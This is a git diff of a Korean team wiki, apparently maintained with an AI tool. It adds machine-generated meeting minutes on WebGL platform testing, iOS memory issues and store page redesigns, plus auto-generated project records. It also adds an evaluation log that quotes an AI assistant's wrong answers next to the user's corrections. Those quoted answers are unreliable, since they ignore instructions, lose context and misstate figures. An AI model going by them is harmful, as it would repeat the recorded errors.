+| 참석자 1/2 | 플랫폼 성능 테스트 및 조사 | 플레이캔버스 등 선정된 사이트의 작동 여부와 성능(초 단위)을 QA 팀을 통해 확인하도록 요청함. 근거: "QA 통해서 거기 돌아가는지를 체크해서... 초 같은 걸을 재는" | 기한미정 | 진행미정 | \ No newline at end of file diff --git a/00_Raw/회의록 p 2026-06-17.md b/00_Raw/회의록 p 2026-06-17.md new file mode 100644 index 00000000..0d373703 --- /dev/null +++ b/00_Raw/회의록 p 2026-06-17.md @@ -0,0 +1,52 @@ +# [회의록] 웹 기반 플랫폼 기술 검토 및 CCOC 프로젝트 진행 현황 + +## 1. 회의 개요 +- **일시**: 2026년 6월 16일 | 15:00 +- **참석자**: 김원일 PD, 송병준, 김상엽, 오경득, 전효주, 한예성, 현옥 팀장(참석자 4), 기타 개발/기획팀 인원 +- **회의 목적**: iOS 메모리 이슈 확인 및 웹GL 기반 플랫폼 기술 검토, CCOC 프로젝트 진행 상황 공유 + +## 2. 주요 결과 (Executive Summary) +- **플랫폼 기술 검토**: 플레이 캔버스(PlayCanvas)를 포함하여 가우시안 스플래팅이 적용된 샘플 3종을 선정해 기기별 성능 및 호환성을 테스트하기로 함. +- **기술적 대안 탐색**: Three.js 외에 Babylon.js의 활용 가능성과 비주적 접근성(Visual approach)을 확보할 수 있는 방안을 논의함. +- **CCOC 프로젝트**: 현재 1차 목업 단계이며, 6월 19일까지 1차 작업을 진행하기로 함. 바이브 코딩(Vibe Coding)을 통한 초기 구현과 데이터 업데이트를 위한 개별 코딩 병행 전략을 검토 중임. +- **향후 방향성**: 가우시안 스플래팅 기술의 결과물 품질에 따라 파노라마 방식 유지 또는 새로운 포맷 도입 여부를 결정할 예정임. + +## 3. 결정 사항 +- **기술 테스트 샘플 선정** — 근거: "가오샤스 플래트 프로젝트 2개하고 일반 프로젝트 하나 해서 3개 정도 전달드리고... 3개 정도는 저희가 찾아가지고 한번 전달해 드리도록 하겠습니다." +- **CCOC 1차 작업 일정 확정** — 근거: "지금 선규 님이 하고 계시고요. 19일까지 일단 1차를 하기로 했어요." + +## 4. 논의 사항 +### [웹 기반 플랫폼 성능 및 호환성 검토] +- **현황**: iOS 기기(특히 iOS 10, 17 등)에서 메모리 부족으로 인한 앱 크래시(Crash) 이슈 발생 가능성 확인. +- **핵심 논의**: + - 기존에 개발된 사례 중 낮은 사양의 기기에서도 잘 작동하는 샘플을 찾아 QA 팀에 전달하고, 이를 통해 성능 지표(초 단위 등)를 체크하여 최적화 방향을 결정하고자 함. + - 플레이 캔버스(PlayCanvas)와 Babylon.js의 활용 가능성을 검토함. 특히 비주얼적인 접근이 용이한 도구를 찾는 것이 핵심임. +- **추가 검토 필요**: 웹GL(WebGL) 환경에서의 최소 사양 파악 및 기기별 퍼포먼스 체크리스트 작성. + +### [CCOC 프로젝트 구현 방식] +- **현황**: 현재 바이브 코딩으로 제작된 목업이 존재하며, 웹 기반의 단순한 페이지 구성임. +- **핵심 논의**: + - 초기 구현은 바이브 코딩을 활용하되, 상품 리스트 등 지속적인 데이터 업데이트가 필요한 부분은 별도의 개별 코딩(데이터 연동)이 필요함. + - UI 컨트롤 및 단순 이미지 나열 형태를 넘어선 복잡한 기능 구현 시의 개발 공정(Data handling/DB 연동)에 대한 고민이 필요함. +- **추가 검토 필요**: 데이터 업데이트를 위한 구조 설계 및 기획자가 데이터를 직접 넣을 수 있는 방식에 대한 검토. + +### [가우시안 스플래팅 기술 적용 방향] +- **현황**: 가우시안 스플래팅(Gaussian Splatting) 기술을 활용한 R&D 진행 중. +- **핵심 논의**: + - 기존 파노라마 방식에서 벗어날지, 아니면 새로운 기술적 무기로 가져갈지는 결과물의 품질(호환성 및 비주으로 퀄리티)에 따라 결정해야 함. +- **추가 검토 필요**: 최종 호환성 평가 및 기술 도입 여부 결정. + +## 5. 리스크 및 검토 사항 +| 리스크 | 영향도 | 대응 방안 | +| --- | --- | --- | +| iOS 기기 메모리 부족 이슈 | 높음 (앱 실행 불가) | 플레이 캔버스 등 포맷 최적화 및 압축 파일 해제 시 메모리 사용량 관리 | +| 기술 검증의 불확실성 | 중간 (개발 방향 혼선) | 샘플 사이트 3종을 통한 기기별 성능 테스트 및 QA 체크리스트 작성 | +| 데이터 업데이트 공정 복잡도 | 중간 (개발 비용 증가) | 초기 구현은 바이브 코딩으로 진행하되, 데이터 연동 부분만 개별 코딩하는 전략 수립 | + +## 6. 액션 아이템 +| 담당 | 작업 내용 | 작업 상세 | 기한 | 상태 | +| --- | --- | --- | --- | --- | +| 월드팀 (참석자 3) | 테스트용 샘플 3종 전달 | 가우시안 스플래팅 적용 프로젝트 및 최적화 오브젝트가 포함된 샘플 3개를 선정하여 전달함. 근거: "3개 정도는 저희가 찾아가지고 한번 전달해 드리도록 하겠습니다." | 기한미정 | 진행미정 | +| 개발팀 (참석자 1) | iOS 메모리 이슈 테스트 | iOS 특정 버전(10, 17 등)에서 파일 압축 해제 시 발생하는 메모리 문제를 확인하기 위해 URL을 통한 테스트 수행. 근거: "그거에서 한번 보면은 이게 또 10일이나 17에서 터지는지 한번 확인해 보시면 될 것 같아." | 기한미정 | 진행미정 | +| 현옥 팀장 (참석자 4) | CCOC 목업 링크 전달 | 현재 바이브 코딩으로 제작된 목업의 느낌을 파악할 수 있도록 링크를 공유함. 근근거: "현옥 팀장이 바이브 코딩으로 목금 만든 게 있긴 한데... 목업 링크 전달해 주면 될 것 같아요." | 기한미정 | 진행미정 | +| QA/개발팀 (참석자 2) | 플랫폼 성능 평가 | 선정된 샘플들을 대상으로 기기별 퍼포먼스(초 단위 등)를 체크하고 체크리스트 작성. 근근거: "QA 통해서 거기 돌아가는지를 체크해서 그 체크리스트 표를 만들어서... 초를 좀 재는 다음에" | 기한미정 | 진행미정 | \ No newline at end of file diff --git a/00_Raw/회의록 q 2026-06-17.md b/00_Raw/회의록 q 2026-06-17.md new file mode 100644 index 00000000..97ecc9cd --- /dev/null +++ b/00_Raw/회의록 q 2026-06-17.md @@ -0,0 +1,52 @@ +# [CCCOC 매장 디자인 변경 및 서비스 기능 수정 관련 회의] + +## 1. 회의 개요 +- **일시**: 2026년 06월 17일 | 14:00 +- **참석자**: 참석자 1, 참석자 2, 참석자 3, 참석자 4, 참석자 5, 참석자 6, 참석자 7, 참석자 8, 참석자 9, 참석자 10, 참석자 11, 참석자 12, 참석자 13, 참석자 2, 김원일PD, 오경득팀장, 강성규, 김상엽팀장, 박진규, 전효주, 정현욱팀장, 김태현 팀장, 류동렬, 동열 님, 송 팀장 +- **회의 목적**: CCCOC 매장 디자인 변경, 서비스 기능 수정(배너 클릭 시 바로 시작하기 등), 롯데온 연동 방식 및 개발 범위에 대한 논의 + +## 2. 주요 결과 (Executive Summary) +- CCCOC 매장 스타일 반영을 위한 디자인 및 영상 톤 세련화 추진 +- 기존 브랜드 입점 정보/뉴스레터 기능을 삭제하고 디프트와 AI 디프트 큐레이터로 카테고리 단순화 결정 +- 장바구니 연동 시 회원 인증 문제로 인한 높은 개발 작업 부담 확인 +- 캐릭터의 현재 상태를 유지하며 배경 인테리어를 알록달록한 스타일로 변경하는 방향 논의 + +## 3. 결정 사항 +- **카테고리 구성 및 운영 방식 변경** — 근거: "카테리는 그대로 가져가도 될 것 같습니다." (기존 키친, 라이트, 푸드 체제 유지하되 세부 상품은 CCCOC 집기 바탕으로 정리) +- **캐릭터 디자인 유지** — 근거: "캐릭터는 이 상태를 지금 이 상태를 만족하고 있으니까" (현재 캐릭터의 긍정적 반응을 고려하여 현 상태 유지) + +## 4. 액션 아이템 +| 담당 | 작업 내용 | 작업 상세 | 산출물 | 기한 | 상태 | +| --- | --- | --- | --- | --- | --- | +| 참석자 7 | CCCOC 집기 기반 카테고리 정리 | 이번 주 내로 CCCOC로부터 집기를 받아 세부 상품 카제거리를 정리함 근거: "세부 상품들을 저희가 이번 주 내로 ccoc에서 집을 받아서 정리를 할 거여서" | 확인 필요 | 이번 주 내 | 확정 | +| 참석자 2 | 디자인 시안 제작 및 공유 | 변경된 디자인 안을 제작하여 커뮤니케이션 채널에 공유하고 컨펌을 요청함 근거: "저희가 한번 안을 한번 해서 만들어보고... 컨펌하시는 게 좋을 것 같습니다." | 디자인 시안 | 확인 필요 | 기한미정 | +| 참석자 4 | 개발팀 미팅 어렌지 | 롯데온 연동 관련하여 개발팀과 일정 조율 및 미팅을 진행함 근거: "매업 하면 개발 쪽이랑 일정 잡는 게 제일 급하겠네요." | 확인 필요 | 차주 중 | 확정 | +| 참석자 8 | AI 큐레이터 기술 검토 | AI 큐레이터 구현을 위해 프롬프트와 파일 스토리지 준비 등 기술적 가능 여부를 확인함 근거: "이 프로셋 보시고 기술 검토를 좀 일단 좀 해 주시고요." | 기술 검토서 | 확인 필요 | 진행미정 | +| 참석자 1, 6 | 노원점 매장 사진 촬영 | 최신 데이터 확보를 위해 노원점을 방문하여 고해상도 사진을 촬영함 근거: "핸드e폰 사진이라도 찍어오는 게 낫 않을까 하는 생각은 좀 들거든요." | 고해상도 사진 | 확인 필요 | 기한미정 | +| 참석자 1 | 테스트 버전 제작 방식 결정 | 송 팀장과 협의하여 상단/하단(푸터) 유지 여부 등 테스트 버전을 제작함 근거: "내일 탑이랑 쿠터 저쪽만 송 팀장이랑 얘기하면 될 것 같긴 해요." | 테스트 버전 | 내일 | 확정 | +| 참석자 1 | 현장 촬영 진행 요청 | 지정된 날짜에 맞춰 상품 상태 확인을 위한 촬영을 진행함 근거: "아무튼 날짜만 좀 맞춰서 한번 찍어 오시면 좋을 것 같습니다." | 확인 필요 | 확인 필요 | 기한미정 | + +## 5. 오픈 이슈 +- 디자인 변경 사항 및 영상 작업에 대한 개발 조직과의 미팅 후 디파인(Define) 진행 여부 +- 상품 리스트 데이터 업데이트 방식 결정 (API 연동 vs 수동 운영 툴 제공) +- 상단/하단(푸터) 유지 여부 및 뒤로 가기 등 예외 케이스에 대한 기술적 검토 + +## 6. 리스크 및 검토 사항 +| 리스크 | 영향 | 대응 방안 | +| --- | --- | --- | +| 장바구니 연동 개발 부담 | 회원 인증 연동으로 인해 개발 작업 규모가 매우 커질 수 있음 | 개발 범위 및 일정 조율 필요 | +| 디자인 이질감 발생 | 배경 디자인이 실사/알록달록한 스타일로 변경될 경우 기존 캐릭터와 충돌 가능성 있음 | 영상 및 전반적인 톤을 세련된 느낌으로 일치화 작업 수행 | +| 데이터 연동 보안/트래픽 리스크 | 브라우저 직접 호출 시 보안 리스크 및 서버 경유 시 네트워크 트래픽 이슈 발생 가능 | 브라우저 직접 호출과 서버 경유 방식 중 적절한 방식 검토 필요 | + +## 7. 논의 사항 +**[서비스 기능 및 디자인 변경]** +- 서비스 진입 단계 축소를 위해 배너 클릭 시 바로 메인 화면으로 이동하도록 수정 예정 +- 브랜드 입점 정보 및 뉴스레터 기능을 삭제하고 디프트/AI 디프트 큐레이터로 카테고리 단순화 추진 +- 영상 제작 시 스틸 이미지 작업과 전체적인 톤(파스텔톤 등)을 일치시켜야 함 + +**[롯데온 연동 방식]** +- 롯데온 협업 시 배너 클릭 → 상품 페이지 연결 → 롯데온 연결로 이어지는 기존 방식 적용 검토 + +**[콘텐츠 제작 및 촬영]** +- 매장 사진 촬영을 위해 노원점 방문 및 최신 데이터 확보 필요성 논의 +- 캐릭터 뒤 배경을 알록달록한 인테리어로 변경하는 방안 논의 \ No newline at end of file diff --git a/00_Raw/회의록 r 2026-06-19.md b/00_Raw/회의록 r 2026-06-19.md new file mode 100644 index 00000000..9dda2d41 --- /dev/null +++ b/00_Raw/회의록 r 2026-06-19.md @@ -0,0 +1,64 @@ +# [회의록] PLUX 제품군 상세 페이지 및 AI 답변 시스템 운영 방식 논의 + +## 1. 회의 개요 +- **일시**: 확인 불가 +- **참석자**: 김원일 이사(PD), 오경득 팀장, 김성회, 김상엽 팀장, 송병준 팀장, 전효주 팀장, 정현욱 팀장, 김태현 팀장, 참석자 1, 참석자 2, 참석자 3, 참석자 4, 참석자 5, 참석자 6, 참석자 7, 참석자 8, 참석자 9, 동열 님, 효희 팀장 +- **회의 목적**: PLUX 제품군(냉동고, 건조기 등) 상세 페이지 수정 사항 검토 및 AI 답변 시스템(RAG/LLM) 운영 방식 논의 + +## 2. 주요 결과 (Executive Summary) +- 냉동고 페이지 특정 섹션 삭제 및 텍스트 수정 확정 +- AI 호출 시 클라이언트와 파일명을 동일하게 유지하는 것을 최우선 원칙으로 설정 +- 드라이기 제외 후 레이아웃 재배치 및 청소기 위치 조정 결정 +- 제품 명칭(냉동/냉장 도어 포키 등)의 통일성 있는 수정 작업 진행 합의 +- 추가 요청이 없는 한 기존 문구 및 영문/중문 번역본은 유지하기로 결정 + +## 3. 결정 사항 +- **냉동고 페이지 수정** — 근거: "이 페이지 삭제하고 텍스트 이렇게 이렇게" +- **AI 시스템 파일명 매칭 원칙 수립** — 근거: "클라이언트와 올라가는 파일의 파일명이 똑같아야 한다." +- **신규 이미지 생성 방향** — 근거: "추가 이미지 2개 더 만드는 걸로" +- **레이아웃 재배치** — 근거: "드라이기 제외 후 왼쪽 청소기 위치 조정 및 레이아웃 재배치... 진행하기로 함" +- **제품 명칭 통일** — 근거: "명칭(냉동 도어 포켓, 냉장 도어 포켓 등)을 통일성 있게 수정하고 문구를 맞추는 방향으로 작업 진행" +- **기존 번역 및 문구 유지** — 근거: "추가 요청이 없는 한 기존 문구 및 번호(영문/중문)는 변경하지 않음" +- **미니 건조기 명칭 유지** — 근거: "'컴팩트 드라이어' 명칭은 유지하되 하단 설명은 수정하지 않기로 함" + +## 4. 액션 아이템 +| 담당 | 작업 내용 | 작업 상세 | 산출물 | 기한 | 상태 | +| --- | --- | --- | --- | --- | --- | +| 효희 팀장 | UI 텍스트 수정 | 제품 페이지 내 문구 수정 작업 수행 근거: "이거는 효희 팀장이 수정해 줄 거예요." | 확인 필요 | 확인 필요 | 기한미정 | +| 참석자 1 | 냉동고 이미지 범위 확인 | 이미지 전체 교체 건인지 텍스트만 변경하는 것인지 의도 파악 근거: "이미지를 이 통째로 바꿔달라 아니면... 확인을 좀 해봐야 될 것 같은데요." | 확인 필요 | 확인 필요 | 진행미정 | +| 참석자 3/6 | 하이마트 문의 | 제품 제외 및 신규 모델 노출 관련하여 하이마트 담당자에게 확인 근거: "제가 지금 하이마트 담당자라고 한번 그냥 비기를 해볼게요. ... 물어볼게요." | 확인 필요 | 확인 필요 | 진행미정 | +| 참석자 10 | 레이아웃 재배치 작업 | 드라이기 제외에 따른 청소기 위치 조정 및 랜더링 작업 수행 근거: "드라이기 제외 후 레이아웃 재배치 및 랜더링 작업" | 수정된 페이지 | 확인 필요 | 기한미정 | +| 참석자 1 | 시스템 구조 및 버튼 분리 검토 | 시스템 구조상 버튼/세트 분리 가능 여부 기술적 검토 근거: "이번에 한번 확인해 볼게요. 이제 시스템이 그렇게 돼 있는지" | 확인 필요 | 확인/확인 필요 | 진행미정 | +| 참석자 1 | UI 수정 히스토리 파악 | 이전 UI 수정 이력 및 히스토리 추적 근거: "그 히스토리로 한번 찾아봐야 될 것 같아" | 확인 필요 | 확인 필요 | 기한미정 | +| 참석자 6 | 드라이어 문구 문의 | 드라이어 관련 문구 수정 건에 대해 담당자에게 문의 진행 근거: "드라이어는 문의를 하고 그다음에 나머지 부분들은 문구하고" | 확인 필요 | 확인 필요 | 기한미정 | +| 참석자 1 | 파노라마 슬라이스 테스트 | 파노라마 슬라이스 프로그램의 적용 가능 여부 검토 근거: "그거는 한번 테스트를 좀 해볼게요." | 확인 필요 | 확인 필요 | 기한미정 | +| 참석자 6 | 제품별 수정 요청 취합 | 냉장고, 냉동고 등 제품별 수정 사항을 모아서 확인 근거: "냉장고 담당 냉동고 담당 누구 누구... 취합해서 봐도 돼." | 확인 필요 | 확인 필요 | 기한미정 | + +## 5. 오픈 이슈 +- AI 답변 정확도를 위한 제품 ID와 파일명 일치 여부 및 기술적 구현 방식 (Chroma DB 활용 등) +- 제품 명칭 수정 시 영문/한자 등 다국어 영역의 작업 범위 확정 +- 드라이기 제외 시 레이아웃 재배치에 따른 추가 작업 공정 발생 가능성 + +## 6. 리스크 및 검토 사항 +| 리스크 | 영향 | 대응 방안 | +| --- | --- | --- | +| 모델명 변경 시 서버/클라이언트 수정 | 모델명 변경 시 서버 패치 및 클라이언트 코드 수정이 동반되어야 함 | 클라이언트 호출 방식을 제품 키 기준으로 일치시켜 패치 최소화 | +| 서버 업데이트 시 타 서비스 장애 | 서버 업데이트 시 연결된 다른 서비스(스포트 어닛 등)에 장애 발생 가능성 있음 | 주의 깊은 업데이트 프로세스 필요 | +| 작업량 과다로 인한 일정 차질 | 수정 작업량이 많아 다음 주 수요일 완료가 불가능할 것으로 예상됨 | 우선순위 설정 및 범위 조정 검토 | +| 시스템 구조적 제약 | 개별 요소를 단독으로 변경할 수 없어 세트로 크기가 조절되는 구조임 | 기술적 구현 가능성 사전 확인 필요 | +| 이미지 해상도 차이 | 이미지 적용 시 해상도 차이로 인해 UI가 깨지거나 달라질 우려 있음 | 적정 해상도 가이드 준수 및 테스트 필요 | + +## 7. 논의 사항 +**[AI 답변 시스템 운영 방식]** +- 현재 구글 파일 스토리지 기반 인베딩 처리 중 +- AI 답변 정확도를 위해 PDF 파일명, 제품 ID, 클라이언트 호출 정보가 모두 일치해야 함을 강조 + +**[제품 상세 페이지 구성 및 디자인]** +- 상세 내용을 한 페이지에 담기 어려워 페이지 분리 구성 계획 +- 기존 이미지를 활용하기보다 새로운 디자인의 페이지를 생성하는 방안 논의 +- 드라이기 모델 단종 처리 시 '상품 준비 중' 표시로 클릭을 제한하는 효율적 방안 검토 + +**[UI/UX 수정 및 기술적 구현]** +- 버튼 표시 방식(줄 긋기 등) 변경에 대한 기술적 구현 가능성 및 업무 범위 확대 우려 +- 제품 명칭 수정 시 다국어(영문, 한자 등) 영역까지의 작업 부담 논의 +- 파노라마 이미지 슬라이스 구현을 위한 개발팀의 기술적 지원 여부 확인 필요 \ No newline at end of file diff --git a/10_Wiki/00_Raw/.astra/project-context/architecture.md b/10_Wiki/00_Raw/.astra/project-context/architecture.md index 57bce208..07e321a4 100644 --- a/10_Wiki/00_Raw/.astra/project-context/architecture.md +++ b/10_Wiki/00_Raw/.astra/project-context/architecture.md @@ -11,7 +11,7 @@ - **Stats**: 6 source files, ~110 lines across 1 top-level modules. ## Last Refresh -- **Time**: 2026-05-27T10:07:53.609Z +- **Time**: 2026-06-15T06:09:49.560Z - **Files newly analysed**: 0 - **Files reused from cache**: 6 @@ -38,7 +38,7 @@ mindmap - `docs/records/00_Raw/README.md` (18 lines) — 00Raw Chronicle Records - `docs/records/00_Raw/timeline.md` (10 lines) — Project Timeline -_Last auto-scan: 2026-05-27T10:07:53.609Z · signature `1c09705`_ +_Last auto-scan: 2026-06-15T06:09:49.560Z · signature `1c09705`_ ## Purpose diff --git a/10_Wiki/00_Raw/.astra/project-context/scan-cache.json b/10_Wiki/00_Raw/.astra/project-context/scan-cache.json index c0998ec2..d2edda77 100644 --- a/10_Wiki/00_Raw/.astra/project-context/scan-cache.json +++ b/10_Wiki/00_Raw/.astra/project-context/scan-cache.json @@ -1,6 +1,6 @@ { "version": 1, - "generatedAt": "2026-05-27T10:07:53.617Z", + "generatedAt": "2026-06-15T06:09:49.588Z", "files": { "docs/records/00_Raw/chronicle.config.json": { "mtimeMs": 1779876330777.5742, diff --git a/10_Wiki/00_Raw/docs/records/00_Raw/chronicle.config.json b/10_Wiki/00_Raw/docs/records/00_Raw/chronicle.config.json index 32326fff..6cc70938 100644 --- a/10_Wiki/00_Raw/docs/records/00_Raw/chronicle.config.json +++ b/10_Wiki/00_Raw/docs/records/00_Raw/chronicle.config.json @@ -7,5 +7,5 @@ "corePurpose": "", "detailLevel": "standard", "createdAt": "2026-05-27T10:00:54.426Z", - "updatedAt": "2026-05-27T10:05:30.777Z" + "updatedAt": "2026-06-15T06:10:04.618Z" } diff --git a/10_Wiki/00_Raw/docs/records/00_Raw/development/2026-06-15_파일-생성해-e-wiki-2nd-00-raw-여기에-우서-저장해두면-될-것-같아_implementation.md b/10_Wiki/00_Raw/docs/records/00_Raw/development/2026-06-15_파일-생성해-e-wiki-2nd-00-raw-여기에-우서-저장해두면-될-것-같아_implementation.md new file mode 100644 index 00000000..1205caaf --- /dev/null +++ b/10_Wiki/00_Raw/docs/records/00_Raw/development/2026-06-15_파일-생성해-e-wiki-2nd-00-raw-여기에-우서-저장해두면-될-것-같아_implementation.md @@ -0,0 +1,22 @@ +# Development Log: 파일 생성해. E:\Wiki\2nd\00_Raw 여기에 우서 저장해두면 될 것 같아. + +## Purpose +Record the implementation or verification outcome from the current conversation. + +## Implementation Summary + # 영상 제작 공정 및 소요 시간 가이드 영상 콘텐츠의 종류와 난이도에 따른 표준 제작 공정, 투입 인력, 소요 기간을 정의합니다. ## 1. 영상 유형별 제작 사양 각 영상은 기획, 리소스 제작(키이미지/영상, VFX, 사운드), 편집 단계로 구성되며, 유형에 따라 난이도가 상이합니다. | 영상 종류 | 영상 길이 | 주요 특징 및 요구 사항 | 투입 인력 (맨먼스) | 제작 기간 | 필요 인원 | | :--- | :---: | :--- | :---: | :---: | :---: | | **미래 전시관** | 1:30 | - 3개 옴니버스 구성 (등장인물 일관성 유지 필수)
- VFX, 자막 효과 및 영상 합성 포함
- 단기 집중 투입형 모델 | 기획(10) / 리소스(26) / 편집(3) | **3주** | 6명 | | **CIO 세미나** | 1:30 | - 가상 AI... + +## Architecture +Captured automatically from the assistant response and active project context. + +## Changed Files +- E:\Wiki\2nd\00_Raw\영상_제작_공정_가이드.md + +## Dependency Notes +No new dependency note was captured automatically. + +## Bugs +No bugs recorded. + +## Lessons +- Automatic project records should be generated in the background when the turn contains durable project knowledge. diff --git a/10_Wiki/00_Raw/docs/records/00_Raw/timeline.md b/10_Wiki/00_Raw/docs/records/00_Raw/timeline.md index 33819f50..0d3e24a0 100644 --- a/10_Wiki/00_Raw/docs/records/00_Raw/timeline.md +++ b/10_Wiki/00_Raw/docs/records/00_Raw/timeline.md @@ -8,3 +8,6 @@ ## 2026-05-27 - Auto development record created: development\2026-05-27_e-wiki-2nd-00-raw-폴더에-있는-회의록-a-b-e를-wiki화-해주고-저장은-e-wiki-2nd_implementation.md + +## 2026-06-15 +- Auto development record created: development\2026-06-15_파일-생성해-e-wiki-2nd-00-raw-여기에-우서-저장해두면-될-것-같아_implementation.md diff --git a/10_Wiki/Topics/.astra/eval/corrections.jsonl b/10_Wiki/Topics/.astra/eval/corrections.jsonl new file mode 100644 index 00000000..360ee41c --- /dev/null +++ b/10_Wiki/Topics/.astra/eval/corrections.jsonl @@ -0,0 +1,4 @@ +{"ts":"2026-06-12T07:39:07.470Z","errorTag":"지시불이행","question":"일단 조건을 하나 더 추가할께. 계열사는 하고 싶어 하지 않아. 우리한테 업무를 주는게 추가 업무로 이어진다고 생각해. 해서 이걸 뒤집을 정도로 매력적이어야해.","wrongAnswer":"그렇다면 전략의 패러다임을 완전히 바꿔야 합니다. 계열사가 \"우리는 안 해, 귀찮아\"라고 말하는 이유는 '이 일이 우리에게 득이 되는 게 아니라, 단순히 처리해야 할 숙제(Task)로 느껴지기 때문'입니다.\n\n새로운 정보가 직전 결론의 '계열사 대상 가치' 부분을 정면으로 반박하며, 교육의 목적을 '업무 전달'에서 '자원 및 수익 창출 모델'로 재정의해야 합니다. 결론 수정: 계열사의 거부감을 없애기 위해, 이 프로젝트를 \"우리가 일을 해주는 것\"이 아니라 \"계열사가 돈을 벌거나 비용을 아낄 수 있는 솔루션을 우리가 제공하는 것\"으로 포지셔닝해야 합니다.\n\n---\n\n🚀 [RE-STRATEGY] 계열사의 '귀찮음'을 '기회'로 뒤집는 3가지 매력 포인트\n\n계열사가 이 프로젝트를 받아들였을 때, \"추가 업무\"가 아니라 \"우리 팀의 리소스를 아껴줄 치트키\"라고 느끼게 만들어야 합니다.\n\n1. [비용 절감형] The Cost-Killer: Automated Compliance (자동화된 비용 방어)\n\n\"업무를 주는 게 아니라, 계열사의 '인건비'와 '리스크 비용'을 삭제해 드립니다.\"\n\n- 핵러(Strategy): 계열사가 직접 교육하고 검증해야 하는 번거로운 프","correction":"지금까지 너는 나에게 아이디어, 핵심 내용, 기대 효과 내용으로 써줬는데. 법정 의무 교육은 다른 포멧으로 줬어 기대 효과를 써줘. \n법정 의무 교육\t단순히 영상을 보는 것이 아니라, 퀴즈를 틀리면 정답 근거가 있는 영상 구간으로 '자동 리다이로(Seek)' 되는 기술적 메커니즘을 핵심 가치로 내세웁니다.","title":"요구한 구성 요소(기대 효과)를 누락하고 다른 포맷으로 작성함"} +{"ts":"2026-06-15T06:32:12.103Z","errorTag":"맥락누락","question":"3주에서 5주면, 2배인거자나? +/- 오차 범위가 너무 넓어","wrongAnswer":"그렇습니다. 3주와 5주는 작업량 차이가 거의 67%에 달하기 때문에, 이 정도의 편차는 프로젝트 스케줄링 관점에서는 **'예측 불가능한 리스크'**로 작용합니다.\n\n오차 범위를 줄이기 위해 우리가 결정해야 할 것은 **\"기획(스토리보드)이 준비되었을 때, 제작 공정 중 어디까지가 확정된 상태인가?\"**입니다.\n\n범위를 좁히기 위한 두 가지 선택지를 제안합니다.\n\n### 옵션 1: '리소스 확보' 여부에 따라 범위 고정 (현실적 접근)\n단순히 \"기획이 있다\"가 아니라, **\"기획에 필요한 소스(키이미지, 영상, 사운드)가 준비되었는가?\"**를 기준으로 삼는 것입니다.\n\n* **Case A (리소스 완료):** 기획 + 리소스 확보 완료 $\\rightarrow$ **3주 고정** (편집/합성만 남음)\n* **Case B (기획만 완료):** 기획은 있으나 소스 제작 필요 $\\rightarrow$ **5주 유지** (리소스 제작 기간 포함)\n\n이렇게 하면 오차 범위를 3주~5주가 아닌, **'3주(소스 준비 시)' vs '5주(소스 미준비 시)'**로 명확히 구분할 수 있습니다.\n\n### 옵션 2: '기술적 난이도'를 기준으로 범위 고정 (구조적 접근)\n","correction":"1분 30초 말하는거야 3분 30초가 아니라","title":"대화의 주제(기간/오차범위)와 다른 내용(영상 길이)을 놓침"} +{"ts":"2026-06-15T06:32:55.330Z","errorTag":"기타","question":"1분 30초 말하는거야 3분 30초가 아니라","wrongAnswer":"그렇다면 오차 범위의 핵심은 **'영상 길이(분량)'**가 아니라, **'기술적 난이도와 리소스 작업량'**에 집중되어야 합니다.\n\n사용자께서 말씀하신 대로 1분 30초를 기준으로 잡는다면, 3분 30초(브랜드 필름)처럼 긴 영상으로 인한 변수는 제거됩니다. 이제 우리가 줄여야 할 오차 범위의 핵심은 **\"기획만 있고 소스는 없는 상태인가, 아니면 소스까지 준비된 상태인가\"**로 압축됩니다.\n\n결론을 수정하여 범위를 다음과 같이 재정의할 수 있습니다.\n\n### 결론 수정: 1분 30초 영상 기준 예측 범위\n\n직전의 '3주~5주'라는 넓은 범위는 영상 길이에 따른 변수(3분 30초)를 포함하고 있었으나, **1분 30초로 고정할 경우** 오차 범위는 다음과 같이 좁혀집니다.\n\n1. **[Case 1] 리소스 준비 완료 (기획 + 소스 확보): 약 3주**\n * 이미 키이미지, VFX, 사운드 등 편집에 쓸 재료가 모두 있는 상태입니다. 오직 '편집'과 '합성'만 남았으므로 3주 내에 확정적 종료가 가능합니다.\n2. **[Case 2] 리소스 제작 필요 (기획만 완료): 약 5주**\n * 기획은 있지만, 가이드에 명시된 '리소스 제작(VFX","correction":"리소스가 있고 편집이라면 3주가 아니라 1.5주여야 하는거 아니야?","title":"수치 오류를 바로잡기 위한 논리적 근거 재검토 필요"} +{"ts":"2026-06-16T09:44:43.435Z","errorTag":"사실오류","question":"/meet D:\\Meet\\p.txt","wrongAnswer":"**Datacollect Radio** · `/meet` · bridge=`http://127.0.0.1:3002`\n\n📝 **회의록 작성**: D:\\Meet\\p.txt\n\n⏳ 녹취 파일 읽는 중…📚 자동 용어집 3개 용어 주입\n\n✅ 파일 읽기 완료 (8,631자)\n\n🧪 **회의록 합성** (모델 `gemma-4-26b-a4b-it`)\n모델·하드웨어에 따라 수 분 걸릴 수 있습니다… ✓ (16s)\n\n# [회의 제목] 플랫폼 최적화 및 CCOC 프로젝트 진행 현황 논의\n\n- **날짜**: 2026년 06월 16일\n- **참석자**: 김원일 PD, 송병준, 김상엽, 오경득, 전효주, 한예성 (메타데이터 기준)\n- **주제 요약**: iOS 메모리 이슈 해결을 위한 플랫폼(PlayCanvas, Babylon.js 등) 조사 및 CCOC 프로젝트의 목업 기반 개발 방향 논의\n\n## 🔹 요약 보고\n* **iOS 메모리 문제 및 최적화**: iOS 기기에서 파일 압축 해제 시 발생하는 메모리 부족 문제와 이를 극복하기 위한 플레이캔버스(PlayCanvas) 활용 방점 논의.\n* **플랫폼 기술 조사**: 웹GL 기반 환경에서 성능이 검증된 샘플 사이트(3개 ","correction":"ccoc가 아니라 SISIHOSI야","title":"ccoc가 아니라 SISIHOSI야"} diff --git a/10_Wiki/Topics/.astra/eval/metrics-history.jsonl b/10_Wiki/Topics/.astra/eval/metrics-history.jsonl index 1b0d4e68..b036f0f3 100644 --- a/10_Wiki/Topics/.astra/eval/metrics-history.jsonl +++ b/10_Wiki/Topics/.astra/eval/metrics-history.jsonl @@ -1 +1,2 @@ {"ts":"2026-06-14T11:00:23.846Z","recall1":0.20833333333333334,"recall3":0.2916666666666667,"mrr":0.2534722222222222,"queries":24} +{"ts":"2026-06-17T10:10:22.905Z","recall1":0.6666666666666666,"recall3":0.8333333333333334,"mrr":0.7604166666666666,"queries":24} diff --git a/10_Wiki/Topics/.astra/eval/report-2026-06-17T10-10-22-auto.md b/10_Wiki/Topics/.astra/eval/report-2026-06-17T10-10-22-auto.md new file mode 100644 index 00000000..adf4d550 --- /dev/null +++ b/10_Wiki/Topics/.astra/eval/report-2026-06-17T10-10-22-auto.md 